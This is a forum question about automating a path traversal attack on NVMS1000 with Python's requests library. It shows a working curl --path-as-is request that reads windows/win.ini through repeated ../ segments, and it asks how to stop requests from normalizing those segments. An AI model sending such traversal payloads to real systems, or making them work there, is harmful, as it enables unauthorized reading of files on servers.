title: Path traversal with python request
body: <p>recently I wanted to automate an attack for a web app that is prone to path traversal attacks (NVMS1000) via python requests module.</p>
  
  <p>The request works perfectly with curl by using the option path-as-is:</p>
  
  <pre><code>curl --path-as-is http://127.0.0.1/../../../../../../../../../../windows/win.ini
  </code></pre>
  
  <p>However when using python requests module the "../" where stripped from the urlpath (as I can clearly see e.g. via Burp Suite):</p>
  
  <pre><code>host = "127.0.0.1"
  path = "/../../../../../../../../../.."
  file = "/windows/win.ini"
  url = host+path+file
  response = requests.get(url,proxies=proxies)
  </code></pre>
  
  <p>I checked the docs but did not find any explanation for this behaviour nor found an option to prevent the stripping/normalization similar as the option for curl.</p>
  
  <p>platform is debian, request module is version 2.22.0</p>
  
  <p>Thanks for your help.</p>